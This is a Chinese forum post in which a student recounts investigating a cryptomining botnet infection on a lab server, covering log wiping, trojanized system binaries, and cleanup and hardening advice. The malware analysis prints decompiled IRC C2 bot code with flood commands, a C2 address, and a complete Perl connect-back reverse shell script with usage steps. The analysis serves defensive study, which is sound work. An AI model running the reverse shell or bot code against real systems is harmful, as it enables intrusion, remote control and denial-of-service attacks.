gxkyrftx 发表于 2021-3-7 17:24

记录最近与挖矿病毒的斗智斗勇

本帖最后由 gxkyrftx 于 2021-3-7 17:29 编辑

# 0 前言
学生一枚,马上毕业,空闲时间在校园网内部的服务器上部署了一些蜜罐,发现很多好玩的东西,先记录一篇。
# 1 蜜罐报警
日常打开蜜罐页面,看到蜜罐有数条报警信息,ip比较熟悉,来自实验室的服务器集群,也不用收集蜜罐字典去反向爆破了。
# 2 服务器病毒排查
用自己的账号登进去看,除了有点卡之外,再没什么异常了。top的cpu占用率有点高,也有点卡



## 2.1 查目录
根据近几个月与这波人对抗的经验,查看了几个特殊目录下(/opt,/etc,/tmp,~,)的文件,发现也没有这拨人常用的那些工具与文件(这些以后单独放一个帖子讲,如果大家想看,hhh)。这里不截图了
## 2.2 查日志
翻看/var 下的日志,linux下应该主要关注的以下几个日志
>/var/log/syslog

>/var/log/messages

>/var/log/httpd/access_log

>/var/log/httpd/error_log

>/var/log/secure

>/var/log/auth.log

>/var/log/user.log

>/var/log/wtmp

>/var/log/lastlog

>/var/log/btmp

>/var/run/utmp

机器中的日志,全部被覆盖写入,被清除。这点是我没想到的,因为根据这拨人以往的行为是没有这个动作的,后来也就想明白了,是在反溯源。上新手段了,联想到top命令占用的cpu比较多,想到一点,bash命令替换。
## 2.3 查网络连接
这里推荐几个我常用的命令
> netstat -atnp 查看网络连接

> ss -t -a -pl 也是查看网络连接的

这两个命令发现有个跟外网通信的连接,没有进程id和进程名



这个ip,上威胁情报查了一下,报毒



由此断定,这个状态为established的连接有问题,隐藏了进程id和进程名。至于隐藏的方法,结合上面的top命令,不难猜到是用了bash命令替换。
## 2.4 查bash命令
以netstat命令为例,通过whereis 找到netstat的目录,然后使用stat查看,发现修改时间似乎有点不太对,近期修改



其他的ls,ps等,也是近期修改,怀疑度++。

## 2.5 验证猜测
使用busybox中的命令,与系统中的命令结果对比,来验证我们的猜想。busybox可以通过docker直接安装
>sudo docker run --rm -itv /tmp/:/tmp busybox:uclibc

我们再次使用./busybox netstat和netstat来看一下结果,如下图



可以看到,busybox中的命令显示出了进程id和程序,证明了猜测。

# 3 病毒详情
根据查到的进程id,使用./busybox lsof 查看该进程的详细信息



根据访问这个目录,查看目录详情,这里我们同样看一下系统中的命令与busybox的命令显示区别。



## 3.1 病毒文件分析
在这里挑几个这次攻击特有的行为进行分析,test文件夹中的信息以前见过,暂不分析。

### 3.1.1 systemd
这是一个elf64位文件,经过了upx加壳,我们可以直接使用upx -d 进行脱壳。随后进入主函数大致看一下功能

~~~c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
...
v17 = argv;
v36 = "/etc/rc.local";
v35 = fopen64("/etc/rc.local", "r", envp);    // 获取本服务器的dns地址
if ( !v35 )
{
    v36 = "/etc/rc.local";
    v35 = fopen64("/etc/rc.local", "r", v3);
}
if ( v35 )                                    // 获取文件目录
{
    v34 = strlen(*argv);
    v33 = 0;
    getcwd(&buf);
    if ( (unsigned int)strcmp(&buf, "/") )
    {
      while ( (*argv) != 47 )
      --v34;
      v4 = &(*argv);
      v5 = "\"%s%s\"\n";
      sprintf((unsigned __int64)&v20);
      while ( !(unsigned int)feof_unlocked(v35, v5) )
      {
      fgets_unlocked(v21, 1024LL, v35);
      v5 = &v20;
      if ( !(unsigned int)strcasecmp(v21, &v20) )
          ++v33;
      }
      if ( v33 )
      {
      fclose(v35);
      }
      else
      {
      fclose(v35);
      v26 = fopen64(v36, "a", v6);
      if ( v26 )
      {
          fputs_unlocked(&v20, v26);
          fclose(v26);
      }
      }
    }
    else
    {
      fclose(v35);
    }
}                                             //这里原来有一个fork反调试,我直接nop了
v7 = strlen(*v17);
v8 = "systemd";
strncpy(*v17, "systemd", v7);               // 文件名必须是systemd
for ( i = 1; i < argc; ++i )
{
    v9 = strlen(v17);
    v8 = 0LL;
    memset(v17, 0LL, v9);
}
v10 = time(0LL);
v11 = v10 ^ (unsigned __int64)getpid(0LL, v8);
v12 = v11 + (unsigned int)getppid();
srand(v12);
nick = makestring();                        // 在/usr/share/dict/american-english中随机选择一些名字
ident = makestring();
user = makestring();
chan = (__int64)"#root";
key = (__int64)"null";
server = 0LL;
while ( 1 )
{
LABEL_21:
    con(v12, (__int16 *)v8);                  // 连接c2服务器
    Send(sock, (__int64)"NICK %s\nUSER %s localhost localhost :%s\n", nick, ident, user, v13, v17);// socket连接
    while ( 1 )
    {
      v30 = v18;
      for ( j = 16; j; --j )
      {
      v14 = v30;
      ++v30;
      *v14 = 0LL;
      }
      v18[(unsigned __int64)sock >> 6] |= 1LL << (sock & 0x3F);
      v22 = 1200LL;
      v23 = 0LL;
      v12 = (unsigned int)(sock + 1);
      v8 = (char *)v18;
      if ( (signed int)select(v12, v18, 0LL, 0LL, &v22) <= 0 )
      break;
      for ( k = 0LL; k < numpids; ++k )
      {
      if ( (signed int)waitpid(*(unsigned int *)(4 * k + pids), 0LL, 1LL) > 0 )
      {
          for ( l = k + 1; l < (unsigned __int64)numpids; ++l )
            *(_DWORD *)(4LL * (l - 1) + pids) = *(_DWORD *)(4LL * l + pids);
          *(_DWORD *)(4LL * (l - 1) + pids) = 0;
          v25 = malloc(4 * (--numpids + 1));
          for ( l = 0; l < (unsigned __int64)numpids; ++l )
            *(_DWORD *)(4LL * l + v25) = *(_DWORD *)(4LL * l + pids);
          free(pids);
          pids = v25;
      }
      }
      if ( ((unsigned __int64)v18[(unsigned __int64)sock >> 6] >> (sock & 0x3F)) & 1 )// 这一部分是向c2服务器发送相关的信息,同时可以接受c2的指令
      {
      v8 = v21;
      v12 = (unsigned int)sock;
      n = recv((unsigned int)sock, v21, 4096LL, 0LL);
      if ( n <= 0 )
          goto LABEL_21;
      v21 = 0;
      for ( m = (_BYTE *)strtok(v21, "\n"); m && *m; m = (_BYTE *)strtok(0LL, "\n") )
      {
          filter(m);
          if ( *m == 58 )
          {
            for ( n = 0; ; ++n )
            {
            v15 = n;
            if ( v15 >= strlen(m) || m == 32 )
                break;
            }
            m = 0;
            strcpy(&v20, m + 1);
            strcpy(m, &m);
          }
          else
          {
            *(_WORD *)&v20 = 42;
          }
          for ( n = 0; ; ++n )
          {
            v16 = n;
            if ( v16 >= strlen(m) || m == 32 )
            break;
          }
          m = 0;
          strcpy(&v19, m);
          strcpy(m, &m);
          for ( n = 0; (&msgs); ++n )
          {
            if ( !(unsigned int)strcasecmp((&msgs), &v19) )
            ((void (__fastcall *)(_QWORD, char *, _BYTE *))*(&off_6141E8 + 2 * n))((unsigned int)sock, &v20, m);
          }
          v8 = "ERROR";
          v12 = (__int64)&v19;
          if ( !(unsigned int)strcasecmp(&v19, "ERROR") )
            goto LABEL_21;
      }
      }
    }
}
}
~~~

con函数是连接c2的函数,c2的地址不是明文存储的,程序运行时随机在几个字符串中解密,解密得到的内容,根据随机选择的字符串不同,得到的域名或者ip,下面是加密字符串。
~~~asm
.data:0000000000614060 servers         dq offset aVcuvcyZVoqVcy7
.data:0000000000614060                                       ; DATA XREF: con+59↑r
.data:0000000000614060                                       ; "<vCuvCy<z*?voq$$vCy?73"
.data:0000000000614068               dq offset aWymBymZymz   ; ";wym_Bym;ZymZ,"
.data:0000000000614070               dq offset aVa7yefzyS    ; "vA7yEFzy<s"
~~~
下面是解密得到的域名



ip就是之前的45.137.149.196

在解密之后,与c2服务器建立socket连接,下面是con函数的全部内容

~~~c
__int64 __fastcall con(__int64 a1, __int16 *a2)
{
...

while ( 1 )
{
LABEL_1:
    sock = -1;
    v2 = time(0LL);
    v3 = v2 ^ (unsigned __int64)getpid(0LL, a2);
    v4 = v3 + (unsigned int)getppid();
    srand(v4);
    if ( !changeservers )
      server = (__int64)servers[(signed int)rand(v4, a2) % numservers];
    decode(server, 0LL);
    v11 = &decodedsrv;
    changeservers = 0;
    do
    {
      a2 = (__int16 *)1;
      sock = socket(2LL, 1LL, 6LL);
    }
    while ( sock < 0 );
    if ( (unsigned int)inet_addr(v11) && (unsigned int)inet_addr(v11) != -1 )
      break;
    v10 = gethostbyname(v11);
    if ( v10 )
    {
      bcopy(**(_QWORD **)(v10 + 24), &v8, *(signed int *)(v10 + 20));
      goto LABEL_11;
    }
    v11 = 0LL;
    close((unsigned int)sock, 1LL);
}
v8 = inet_addr(v11);
LABEL_11:
v6 = 2;
v7 = htons(1LL);
a2 = (__int16 *)21537;
ioctl(sock);
v9 = time(0LL);
while ( 1 )
{
    if ( (unsigned __int64)(time(0LL) - v9) > 9 )
    {
LABEL_19:
      v11 = 0LL;
      close((unsigned int)sock, a2);
      goto LABEL_1;
    }
    *(_DWORD *)_errno_location() = 0;
    a2 = &v6;
    if ( !(unsigned int)connect((unsigned int)sock, &v6, 16LL) || *(_DWORD *)_errno_location() == 106 )
      break;
    if ( *(_DWORD *)_errno_location() != 115 && *(_DWORD *)_errno_location() != 114 )
      goto LABEL_19;
    sleep(1LL);
}
setsockopt((unsigned int)sock, 1LL, 13LL, 0LL, 0LL);
setsockopt((unsigned int)sock, 1LL, 2LL, 0LL, 0LL);
return setsockopt((unsigned int)sock, 1LL, 9LL, 0LL, 0LL);
}
~~~

上面说到了服务器与主机之间相互通信,下面一些信号对应不同函数和不同功能,不再展开说了。
~~~asm
.data:0000000000614080 flooders      dq offset aPan          ; "PAN"
.data:0000000000614088 off_614088      dq offset pan
.data:0000000000614090               dq offset aUdp          ; "UDP"
.data:0000000000614098               dq offset udp
.data:00000000006140A0               dq offset aUnknown      ; "UNKNOWN"
.data:00000000006140A8               dq offset unknown
.data:00000000006140B0               dq offset aRandomflood; "RANDOMFLOOD"
.data:00000000006140B8               dq offset randomflood
.data:00000000006140C0               dq offset aNsackflood   ; "NSACKFLOOD"
.data:00000000006140C8               dq offset nsackflood
.data:00000000006140D0               dq offset aNssynflood   ; "NSSYNFLOOD"
.data:00000000006140D8               dq offset nssynflood
.data:00000000006140E0               dq offset aAckflood   ; "ACKFLOOD"
.data:00000000006140E8               dq offset ackflood
.data:00000000006140F0               dq offset aSynflood   ; "SYNFLOOD"
.data:00000000006140F8               dq offset synflood
.data:0000000000614100               dq offset aNick         ; "NICK"
.data:0000000000614108               dq offset nickc
.data:0000000000614110               dq offset aKekserver    ; "KEKSERVER"
.data:0000000000614118               dq offset move
.data:0000000000614120               dq offset aGetspoofs    ; "GETSPOOFS"
.data:0000000000614128               dq offset getspoofs
.data:0000000000614130               dq offset aSpoofs       ; "SPOOFS"
.data:0000000000614138               dq offset spoof
.data:0000000000614140               dq offset aHackpkg      ; "HACKPKG"
.data:0000000000614148               dq offset hackpkg
.data:0000000000614150               dq offset aDisable      ; "DISABLE"
.data:0000000000614158               dq offset disable
.data:0000000000614160               dq offset aEnable       ; "ENABLE"
.data:0000000000614168               dq offset enable
.data:0000000000614170               dq offset aUpdate       ; "UPDATE"
.data:0000000000614178               dq offset update
.data:0000000000614180               dq offset aFuckit       ; "FUCKIT"
.data:0000000000614188               dq offset killd
.data:0000000000614190               dq offset aGet          ; "GET"
.data:0000000000614198               dq offset get
.data:00000000006141A0               dq offset aVersion      ; "VERSION"
.data:00000000006141A8               dq offset version
.data:00000000006141B0               dq offset aKillall      ; "KILLALL"
.data:00000000006141B8               dq offset killall
.data:00000000006141C0               dq offset aHelp         ; "HELP"
.data:00000000006141C8               dq offset help
data:00000000006141E0 msgs            dq offset a352          ; "352"
.data:00000000006141E8 off_6141E8      dq offset _352
.data:00000000006141F0               dq offset a376          ; "376"
.data:00000000006141F8               dq offset _376
.data:0000000000614200               dq offset a433          ; "433"
.data:0000000000614208               dq offset _433
.data:0000000000614210               dq offset a422          ; "422"
.data:0000000000614218               dq offset _376
.data:0000000000614220               dq offset aPrivmsg      ; "PRIVMSG"
.data:0000000000614228               dq offset _PRIVMSG
.data:0000000000614230               dq offset aPing         ; "PING"
.data:0000000000614238               dq offset _PING
.data:0000000000614240               dq offset aNick         ; "NICK"
.data:0000000000614248               dq offset _NICK
.data:0000000000614250               align 20h
~~~
### 3.1.2 dc.pl
~~~perl
#!/usr/bin/perl
      use Socket;
      print "Data Cha0s Connect Back Backdoor\n\n";
      if (!$ARGV) {
      printf "Usage: $0 <Port>\n";
      exit(1);
      }
      print " Dumping Arguments\n";
      $host = $ARGV;
      $port = 80;
      if ($ARGV) {
      $port = $ARGV;
      }
      print " Connecting...\n";
      $proto = getprotobyname('tcp') || die("Unknown Protocol\n");
      socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
      my $target = inet_aton($host);
      if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
      die("Unable to Connect\n");
      }
      print " Spawning Shell\n";
      if (!fork( )) {
      open(STDIN,">&SERVER");
      open(STDOUT,">&SERVER");
      open(STDERR,">&SERVER");
      exec {'/bin/sh'} '-bash' . "\0" x 4;
      exit(0);
      }
      print " Datached\n\n";
~~~
这段脚本的目的是反弹shell,具体使用方式为
>vps上监听本地端口:nc -lvp port

>./dc.pl vps port,运行后在vps上会有一个shell。

### 3.1.3/lib/libpam_miv
这个文件里存放着最近登录过的root用户的密码
### 3.1.4 /lib/libscorep_ak
这个文件夹存放着用户执行的bash命令,部分记录格式如下
~~~perl
sudo -i
ls --color=auto -l --color=auto
mkdir bin
ls --color=auto -l --color=auto
sudo mkdir bin
ls --color=auto -l --color=auto
mkdir etc
sudo mkdir etc
sudo mkdir lib
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
~~~
### 3.1.5 /lib/libscorep_tp
这个文件夹中存放着这次攻击的所有攻击工具,还包括本机的shadow,passwd,用户操作记录等,猜测是想打包带走?



### 3.1.6 /etc/kernelvqi
该目录是整个攻击工具的安装包,根据字符串初步的搜索结果可以证明



文件释放目录

## 3.2 病毒暂时清除方法
1. 使用busybox,kill进程id,随后发现又起一个进程



2. 我们进入proc中,查看进程的信息,发现其实还是那个病毒目录的。



查看一下进程号相邻的几个进程,应该是前面那个pl脚本在执行,选择全部kill



这个时候再看网络连接,发现已经断了,暂时安全



3. 随后使用busybox删除前面出现的目录,以及各种文件。(最好是重装系统)

# 4 防护措施
根据最近病毒活动情况,病毒主要通过ssh弱口令对内网进行大规模的扫描,找到一批肉机后,会植入后门程序,包括不限于:openssh后门,反弹shell,添加用户,ssh公钥免密登录等。设置后门后,通常会每隔几天进行大规模的扫描,扫描使用的字典在不断更新(因为肉鸡上有工具记录,也有bash命令替换的情况),然后得到更多的肉机。最近总结的一些防护措施如下:

1. 坚决不留弱口令,无论是web还是ssh还是数据库,弱口令是第一道门。
2. 感觉有异常就看看网络连接,cpu利用率之类的,说不定就有惊喜。
3. 服务器之间最好不要为了方便设置ssh免密登录(血的教训),一旦一个服务器被攻陷,整个集群/别的免密登录集群都完蛋。
4. 最好能设置ip白名单,如果被入侵,及时设置黑名单。
5. 定期对服务器进行安全检查,升级服务器系统,防止利用系统漏洞(脏牛等)提权。

gxkyrftx 发表于 2021-3-9 10:07

MA_NoO 发表于 2021-3-9 09:56
小白似懂非懂 但是感觉大佬牛逼   请教下Win10自带的杀毒能查杀到这种东西嘛

这是linux下的一些:lol

流光 发表于 2021-3-7 17:35

非常精彩!{:1_893:}

gxkyrftx 发表于 2021-3-8 09:02

麦子1995 发表于 2021-3-8 08:57
楼主,请教下,像你这种专业应该具备什么样的知识

请教不敢当,我是信安专业的,就这个病毒来说,需要了解计算机网络,linux操作系统,数据库,c语言这些

摸鱼怪 发表于 2021-3-7 17:38

大佬,涨知识了

LeemonFaner 发表于 2021-3-7 18:07

非常厉害,学到了

awfymwvf 发表于 2021-3-7 18:54

学生这么厉害啊,我要向你学习

gxkyrftx 发表于 2021-3-7 19:23

流光 发表于 2021-3-7 17:35
非常精彩!

一起学习,哈哈哈哈哈哈,过几天再发一篇,还有其他好玩的

gxkyrftx 发表于 2021-3-7 19:24

摸鱼怪 发表于 2021-3-7 17:38
大佬,涨知识了

学徒而已{:1_893:},加油

wondaol 发表于 2021-3-7 19:24

前来学习如何应对挖矿病毒

gxkyrftx 发表于 2021-3-7 19:26

awfymwvf 发表于 2021-3-7 18:54
学生这么厉害啊,我要向你学习

马上就要接受社会的毒打了,哈哈哈哈,一起学习

elviss 发表于 2021-3-7 19:52

正好我也遇到了这问题
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 记录最近与挖矿病毒的斗智斗勇